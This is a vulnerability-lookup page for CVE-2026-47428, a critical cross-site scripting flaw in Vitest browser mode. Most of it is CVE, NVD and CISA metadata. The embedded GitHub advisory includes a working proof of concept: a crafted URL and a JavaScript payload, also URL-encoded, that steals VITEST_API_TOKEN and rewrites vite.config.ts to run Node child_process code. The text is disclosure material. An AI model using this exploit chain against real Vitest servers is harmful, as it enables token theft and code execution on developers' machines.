Vulnerability-Lookup

CVE-2026-47428 (GCVE-0-2026-47428)

Vulnerability from cvelistv5 – Published: 2026-07-14 19:30 – Updated: 2026-07-15 13:20

Title

Vitest browser mode serves unsanitized otelCarrier query parameter as inline script

Summary

Vitest is a testing framework powered by Vite. From 4.0.17 until 4.1.6 and 5.0.0-beta.3, Vitest Browser Mode served /__vitest_test__/ with the otelCarrier query parameter inserted directly into an inline module script, allowing a crafted browser-runner URL to execute arbitrary JavaScript in the Vitest server origin and recover VITEST_API_TOKEN for authenticated API calls. This issue is fixed in versions 4.1.6 and 5.0.0-beta.3.

Severity

9.6 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-15 13:20 UTC

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M mitre root

References

7 references

URL	Tags
https://github.com/vitest-dev/vitest/security/adv…	x_refsource_CONFIRM
https://github.com/vitest-dev/vitest/pull/10283	x_refsource_MISC
https://github.com/vitest-dev/vitest/pull/10285	x_refsource_MISC
https://github.com/vitest-dev/vitest/commit/18af9…	x_refsource_MISC
https://github.com/vitest-dev/vitest/commit/3514f…	x_refsource_MISC
https://github.com/vitest-dev/vitest/releases/tag…	x_refsource_MISC
https://github.com/vitest-dev/vitest/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
vitest-dev	vitest	Affected: >= 4.0.17, < 4.1.6 Affected: >= 5.0.0-beta.0, < 5.0.0-beta.3	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-47428",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-15T13:20:10.196813Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-15T13:20:14.275Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/vitest-dev/vitest/security/advisories/GHSA-2h32-95rg-cppp"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "vitest",
          "vendor": "vitest-dev",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 4.0.17, \u003c 4.1.6"
            },
            {
              "status": "affected",
              "version": "\u003e= 5.0.0-beta.0, \u003c 5.0.0-beta.3"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Vitest is a testing framework powered by Vite. From 4.0.17 until 4.1.6 and 5.0.0-beta.3, Vitest Browser Mode served /__vitest_test__/ with the otelCarrier query parameter inserted directly into an inline module script, allowing a crafted browser-runner URL to execute arbitrary JavaScript in the Vitest server origin and recover VITEST_API_TOKEN for authenticated API calls. This issue is fixed in versions 4.1.6 and 5.0.0-beta.3."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 9.6,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-14T19:30:19.670Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/vitest-dev/vitest/security/advisories/GHSA-2h32-95rg-cppp",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/vitest-dev/vitest/security/advisories/GHSA-2h32-95rg-cppp"
        },
        {
          "name": "https://github.com/vitest-dev/vitest/pull/10283",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/vitest-dev/vitest/pull/10283"
        },
        {
          "name": "https://github.com/vitest-dev/vitest/pull/10285",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/vitest-dev/vitest/pull/10285"
        },
        {
          "name": "https://github.com/vitest-dev/vitest/commit/18af98cee1830604d57f6a02bf28f8067cdffc06",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/vitest-dev/vitest/commit/18af98cee1830604d57f6a02bf28f8067cdffc06"
        },
        {
          "name": "https://github.com/vitest-dev/vitest/commit/3514f9fa135c90e1c35754fc4d27c9cf351faafa",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/vitest-dev/vitest/commit/3514f9fa135c90e1c35754fc4d27c9cf351faafa"
        },
        {
          "name": "https://github.com/vitest-dev/vitest/releases/tag/v4.1.6",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/vitest-dev/vitest/releases/tag/v4.1.6"
        },
        {
          "name": "https://github.com/vitest-dev/vitest/releases/tag/v5.0.0-beta.3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/vitest-dev/vitest/releases/tag/v5.0.0-beta.3"
        }
      ],
      "source": {
        "advisory": "GHSA-2h32-95rg-cppp",
        "discovery": "UNKNOWN"
      },
      "title": "Vitest browser mode serves unsanitized otelCarrier query parameter as inline script"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-47428",
    "datePublished": "2026-07-14T19:30:19.670Z",
    "dateReserved": "2026-05-19T19:37:43.527Z",
    "dateUpdated": "2026-07-15T13:20:14.275Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-47428",
      "date": "2026-09-21",
      "epss": "0.00613",
      "percentile": "0.47694"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "vitest",
                "vendor": "vitest-dev",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003e= 4.0.17, \u003c 4.1.6"
                  },
                  {
                    "status": "affected",
                    "version": "\u003e= 5.0.0-beta.0, \u003c 5.0.0-beta.3"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Vitest is a testing framework powered by Vite. From 4.0.17 until 4.1.6 and 5.0.0-beta.3, Vitest Browser Mode served /__vitest_test__/ with the otelCarrier query parameter inserted directly into an inline module script, allowing a crafted browser-runner URL to execute arbitrary JavaScript in the Vitest server origin and recover VITEST_API_TOKEN for authenticated API calls. This issue is fixed in versions 4.1.6 and 5.0.0-beta.3."
          }
        ],
        "id": "CVE-2026-47428",
        "lastModified": "2026-07-15T20:23:47.313",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 9.6,
                "baseSeverity": "CRITICAL",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "CHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 6.0,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-47428",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-15T13:20:10.196813Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-07-14T20:17:02.307",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/vitest-dev/vitest/commit/18af98cee1830604d57f6a02bf28f8067cdffc06"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/vitest-dev/vitest/commit/3514f9fa135c90e1c35754fc4d27c9cf351faafa"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/vitest-dev/vitest/pull/10283"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/vitest-dev/vitest/pull/10285"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/vitest-dev/vitest/releases/tag/v4.1.6"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/vitest-dev/vitest/releases/tag/v5.0.0-beta.3"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/vitest-dev/vitest/security/advisories/GHSA-2h32-95rg-cppp"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/vitest-dev/vitest/security/advisories/GHSA-2h32-95rg-cppp"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-79"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "redhat_vex": {
      "aggregate_severity": "Important",
      "current_release_date": "2026-07-15T15:04:43+00:00",
      "cve": "CVE-2026-47428",
      "id": "CVE-2026-47428",
      "initial_release_date": "2026-07-14T19:30:19.670000+00:00",
      "product_status:fixed": "3",
      "product_status:known_not_affected": "7",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "vitest: Vitest: Arbitrary code execution via crafted browser-runner URL",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-47428.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-47428",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "total"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-07-15T13:20:10.196813Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-07-15T13:20:01.057Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/vitest-dev/vitest/security/advisories/GHSA-2h32-95rg-cppp"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "vitest",
              "vendor": "vitest-dev",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003e= 4.0.17, \u003c 4.1.6"
                },
                {
                  "status": "affected",
                  "version": "\u003e= 5.0.0-beta.0, \u003c 5.0.0-beta.3"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Vitest is a testing framework powered by Vite. From 4.0.17 until 4.1.6 and 5.0.0-beta.3, Vitest Browser Mode served /__vitest_test__/ with the otelCarrier query parameter inserted directly into an inline module script, allowing a crafted browser-runner URL to execute arbitrary JavaScript in the Vitest server origin and recover VITEST_API_TOKEN for authenticated API calls. This issue is fixed in versions 4.1.6 and 5.0.0-beta.3."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 9.6,
                "baseSeverity": "CRITICAL",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "CHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-79",
                  "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-07-14T19:30:19.670Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/vitest-dev/vitest/security/advisories/GHSA-2h32-95rg-cppp",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/vitest-dev/vitest/security/advisories/GHSA-2h32-95rg-cppp"
            },
            {
              "name": "https://github.com/vitest-dev/vitest/pull/10283",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/vitest-dev/vitest/pull/10283"
            },
            {
              "name": "https://github.com/vitest-dev/vitest/pull/10285",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/vitest-dev/vitest/pull/10285"
            },
            {
              "name": "https://github.com/vitest-dev/vitest/commit/18af98cee1830604d57f6a02bf28f8067cdffc06",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/vitest-dev/vitest/commit/18af98cee1830604d57f6a02bf28f8067cdffc06"
            },
            {
              "name": "https://github.com/vitest-dev/vitest/commit/3514f9fa135c90e1c35754fc4d27c9cf351faafa",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/vitest-dev/vitest/commit/3514f9fa135c90e1c35754fc4d27c9cf351faafa"
            },
            {
              "name": "https://github.com/vitest-dev/vitest/releases/tag/v4.1.6",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/vitest-dev/vitest/releases/tag/v4.1.6"
            },
            {
              "name": "https://github.com/vitest-dev/vitest/releases/tag/v5.0.0-beta.3",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/vitest-dev/vitest/releases/tag/v5.0.0-beta.3"
            }
          ],
          "source": {
            "advisory": "GHSA-2h32-95rg-cppp",
            "discovery": "UNKNOWN"
          },
          "title": "Vitest browser mode serves unsanitized otelCarrier query parameter as inline script"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-47428",
        "datePublished": "2026-07-14T19:30:19.670Z",
        "dateReserved": "2026-05-19T19:37:43.527Z",
        "dateUpdated": "2026-07-14T19:30:19.670Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-47428

Vulnerability from fkie_nvd - Published: 2026-07-14 20:17 - Updated: 2026-07-15 20:23

Severity

9.6 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/vitest-dev/vitest/commit/18af98cee1830604d57f6a02bf28f8067cdffc06
	security-advisories@github.com	https://github.com/vitest-dev/vitest/commit/3514f9fa135c90e1c35754fc4d27c9cf351faafa
	security-advisories@github.com	https://github.com/vitest-dev/vitest/pull/10283
	security-advisories@github.com	https://github.com/vitest-dev/vitest/pull/10285
	security-advisories@github.com	https://github.com/vitest-dev/vitest/releases/tag/v4.1.6
	security-advisories@github.com	https://github.com/vitest-dev/vitest/releases/tag/v5.0.0-beta.3
	security-advisories@github.com	https://github.com/vitest-dev/vitest/security/advisories/GHSA-2h32-95rg-cppp
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/vitest-dev/vitest/security/advisories/GHSA-2h32-95rg-cppp

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "vitest",
          "vendor": "vitest-dev",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 4.0.17, \u003c 4.1.6"
            },
            {
              "status": "affected",
              "version": "\u003e= 5.0.0-beta.0, \u003c 5.0.0-beta.3"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Vitest is a testing framework powered by Vite. From 4.0.17 until 4.1.6 and 5.0.0-beta.3, Vitest Browser Mode served /__vitest_test__/ with the otelCarrier query parameter inserted directly into an inline module script, allowing a crafted browser-runner URL to execute arbitrary JavaScript in the Vitest server origin and recover VITEST_API_TOKEN for authenticated API calls. This issue is fixed in versions 4.1.6 and 5.0.0-beta.3."
    }
  ],
  "id": "CVE-2026-47428",
  "lastModified": "2026-07-15T20:23:47.313",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.6,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 6.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-47428",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-15T13:20:10.196813Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-14T20:17:02.307",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/vitest-dev/vitest/commit/18af98cee1830604d57f6a02bf28f8067cdffc06"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/vitest-dev/vitest/commit/3514f9fa135c90e1c35754fc4d27c9cf351faafa"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/vitest-dev/vitest/pull/10283"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/vitest-dev/vitest/pull/10285"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/vitest-dev/vitest/releases/tag/v4.1.6"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/vitest-dev/vitest/releases/tag/v5.0.0-beta.3"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/vitest-dev/vitest/security/advisories/GHSA-2h32-95rg-cppp"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/vitest-dev/vitest/security/advisories/GHSA-2h32-95rg-cppp"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-2H32-95RG-CPPP

Vulnerability from github – Published: 2026-06-01 14:12 – Updated: 2026-06-01 14:12

Summary

Vitest browser mode serves unsanitized otelCarrier query parameter as inline script

Details

Summary

Vitest browser mode served /__vitest_test__/ with the otelCarrier query parameter inserted directly into an inline module script. Because this value was treated as JavaScript source rather than data, an attacker could craft a browser-runner URL that executes arbitrary JavaScript in the Vitest server origin.

https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/node/serverOrchestrator.ts#L48

https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/client/public/esm-client-injector.js#L41

The same generated page embeds VITEST_API_TOKEN, which is used to authenticate Vitest WebSocket APIs. Script execution in this origin can therefore recover the token and make authenticated API calls.

Impact

This issue affects users running Vitest browser mode. A victim must open or navigate to a crafted Vitest browser-runner URL while the Vitest browser server is running.

In the default local browser-mode setup, the token compromise can be chained to server-side code execution. A confirmed proof of concept used the authenticated browser API to write a payload into vite.config.ts. Vitest/Vite then reloaded the config, executing the injected config code in Node.

This is related in impact to GHSA-9crc-q9x8-hgqq: that advisory covered unauthenticated cross-site WebSocket access to Vitest APIs, while this issue uses reflected same-origin script execution to recover the API token that protects those APIs.

Proof of Concept

XSS

For a concrete reproduction, start browser mode in watch mode using the official Lit example:

pnpm dlx tiged vitest-dev/vitest/examples/lit vitest-poc
cd vitest-poc
pnpm install
pnpm test

By default, Vitest serves the browser runner HTML and WebSocket API at http://localhost:63315.

Open the following URL:

http://localhost:63315/__vitest_test__/?otelCarrier=(alert(%22xss%20via%20otelCarrier%22)%2Cnull)

The otelCarrier query value is inserted into the generated inline module script as JavaScript source:

otelCarrier: (alert("xss via otelCarrier"),null),

Loading the page triggers the alert, confirming reflected script execution in the Vitest browser runner origin.

RCE via config write

A full local RCE proof can use the same injection point to recover window.VITEST_API_TOKEN, connect to /__vitest_browser_api__, and call triggerCommand("writeFile", ...) to modify the local vite.config.ts.

The PoC preserves the original config and prepends a Node-side payload. When Vitest/Vite reloads the changed config, the payload executes in Node.

This PoC imports flatted from a CDN to keep the payload compact.

Example script and encoded URL

(setTimeout(async()=>{
  const s = window.__vitest_browser_runner__
  const { stringify, parse } = await import('https://cdn.jsdelivr.net/npm/flatted@3.3.2/+esm')
  const p = location.protocol === 'https:' ? 'wss:' : 'ws:'
  const q = 'type=orchestrator&rpcId=poc-' + Date.now()
    + '&sessionId=' + encodeURIComponent(s.sessionId)
    + '&projectName=' + encodeURIComponent(s.config.name || '')
    + '&method=' + encodeURIComponent(s.method)
    + '&token=' + encodeURIComponent(window.VITEST_API_TOKEN || '0')

  const ws = new WebSocket(p + '//' + location.host + '/__vitest_browser_api__?' + q)
  const pending = new Map()

  function call(m, a = []) {
    const i = crypto.randomUUID()
    ws.send(stringify({ t: 'q', i, m, a }))
    return new Promise((resolve, reject) => {
      pending.set(i, { resolve, reject })
    })
  }

  ws.onmessage = (event) => {
    const message = parse(event.data)
    const promise = pending.get(message.i)
    if (!promise) {
      return
    }
    pending.delete(message.i)
    if (message.e) {
      promise.reject(message.e)
    }
    else {
      promise.resolve(message.r)
    }
  }

  ws.onopen = async () => {
    const configPath = 'vite.config.ts'
    const original = await call('triggerCommand', [
      s.sessionId,
      'readFile',
      configPath,
      [configPath, 'utf-8'],
    ])

    const injected = `
import("node:child_process").then(lib => {
  lib.execSync('touch ./rce-poc')
  console.log('RCE success')
})
`
    await call('triggerCommand', [
      s.sessionId,
      'writeFile',
      configPath,
      [configPath, injected + original],
    ])

    alert('POC: vite.config.ts modified to trigger RCE on config reload')
  }

  ws.onerror = () => alert('POC: browser api websocket failed')
},0),null)

The following URL is the same script encoded as the `otelCarrier` query value:

http://localhost:63315/__vitest_test__/?otelCarrier=(setTimeout(async()%3D%3E%7B%0A%20%20const%20s%20%3D%20window.__vitest_browser_runner__%0A%20%20const%20%7B%20stringify%2C%20parse%20%7D%20%3D%20await%20import('https%3A%2F%2Fcdn.jsdelivr.net%2Fnpm%2Fflatted%403.3.2%2F%2Besm')%0A%20%20const%20p%20%3D%20location.protocol%20%3D%3D%3D%20'https%3A'%20%3F%20'wss%3A'%20%3A%20'ws%3A'%0A%20%20const%20q%20%3D%20'type%3Dorchestrator%26rpcId%3Dpoc-'%20%2B%20Date.now()%0A%20%20%20%20%2B%20'%26sessionId%3D'%20%2B%20encodeURIComponent(s.sessionId)%0A%20%20%20%20%2B%20'%26projectName%3D'%20%2B%20encodeURIComponent(s.config.name%20%7C%7C%20'')%0A%20%20%20%20%2B%20'%26method%3D'%20%2B%20encodeURIComponent(s.method)%0A%20%20%20%20%2B%20'%26token%3D'%20%2B%20encodeURIComponent(window.VITEST_API_TOKEN%20%7C%7C%20'0')%0A%0A%20%20const%20ws%20%3D%20new%20WebSocket(p%20%2B%20'%2F%2F'%20%2B%20location.host%20%2B%20'%2F__vitest_browser_api__%3F'%20%2B%20q)%0A%20%20const%20pending%20%3D%20new%20Map()%0A%0A%20%20function%20call(m%2C%20a%20%3D%20%5B%5D)%20%7B%0A%20%20%20%20const%20i%20%3D%20crypto.randomUUID()%0A%20%20%20%20ws.send(stringify(%7B%20t%3A%20'q'%2C%20i%2C%20m%2C%20a%20%7D))%0A%20%20%20%20return%20new%20Promise((resolve%2C%20reject)%20%3D%3E%20%7B%0A%20%20%20%20%20%20pending.set(i%2C%20%7B%20resolve%2C%20reject%20%7D)%0A%20%20%20%20%7D)%0A%20%20%7D%0A%0A%20%20ws.onmessage%20%3D%20(event)%20%3D%3E%20%7B%0A%20%20%20%20const%20message%20%3D%20parse(event.data)%0A%20%20%20%20const%20promise%20%3D%20pending.get(message.i)%0A%20%20%20%20if%20(!promise)%20%7B%0A%20%20%20%20%20%20return%0A%20%20%20%20%7D%0A%20%20%20%20pending.delete(message.i)%0A%20%20%20%20if%20(message.e)%20%7B%0A%20%20%20%20%20%20promise.reject(message.e)%0A%20%20%20%20%7D%0A%20%20%20%20else%20%7B%0A%20%20%20%20%20%20promise.resolve(message.r)%0A%20%20%20%20%7D%0A%20%20%7D%0A%0A%20%20ws.onopen%20%3D%20async%20()%20%3D%3E%20%7B%0A%20%20%20%20const%20configPath%20%3D%20'vite.config.ts'%0A%20%20%20%20const%20original%20%3D%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'readFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20'utf-8'%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20const%20injected%20%3D%20%60%0Aimport(%22node%3Achild_process%22).then(lib%20%3D%3E%20%7B%0A%20%20lib.execSync('touch%20.%2Frce-poc')%0A%20%20console.log('RCE%20success')%0A%7D)%0A%60%0A%20%20%20%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'writeFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20injected%20%2B%20original%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20alert('POC%3A%20vite.config.ts%20modified%20to%20trigger%20RCE%20on%20config%20reload')%0A%20%20%7D%0A%0A%20%20ws.onerror%20%3D%20()%20%3D%3E%20alert('POC%3A%20browser%20api%20websocket%20failed')%0A%7D%2C0)%2Cnull)

Severity

9.6 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@vitest/browser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.17"
            },
            {
              "fixed": "4.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@vitest/browser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0-beta.0"
            },
            {
              "fixed": "5.0.0-beta.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47428"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-01T14:12:18Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nVitest browser mode served `/__vitest_test__/` with the `otelCarrier` query parameter inserted directly into an inline module script. Because this value was treated as JavaScript source rather than data, an attacker could craft a browser-runner URL that executes arbitrary JavaScript in the Vitest server origin.\n\nhttps://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/node/serverOrchestrator.ts#L48\n\nhttps://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/client/public/esm-client-injector.js#L41\n\nThe same generated page embeds `VITEST_API_TOKEN`, which is used to authenticate Vitest WebSocket APIs. Script execution in this origin can therefore recover the token and make authenticated API calls.\n\n## Impact\n\nThis issue affects users running Vitest browser mode. A victim must open or navigate to a crafted Vitest browser-runner URL while the Vitest browser server is running.\n\nIn the default local browser-mode setup, the token compromise can be chained to server-side code execution. A confirmed proof of concept used the authenticated browser API to write a payload into `vite.config.ts`. Vitest/Vite then reloaded the config, executing the injected config code in Node.\n\nThis is related in impact to [GHSA-9crc-q9x8-hgqq](https://github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq): that advisory covered unauthenticated cross-site WebSocket access to Vitest APIs, while this issue uses reflected same-origin script execution to recover the API token that protects those APIs.\n\n## Proof of Concept\n\n### XSS\n\nFor a concrete reproduction, start browser mode in watch mode using the official Lit example:\n\n```sh\npnpm dlx tiged vitest-dev/vitest/examples/lit vitest-poc\ncd vitest-poc\npnpm install\npnpm test\n```\n\nBy default, Vitest serves the browser runner HTML and WebSocket API at `http://localhost:63315`.\n\nOpen the following URL:\n\n```text\nhttp://localhost:63315/__vitest_test__/?otelCarrier=(alert(%22xss%20via%20otelCarrier%22)%2Cnull)\n```\n\nThe `otelCarrier` query value is inserted into the generated inline module script as 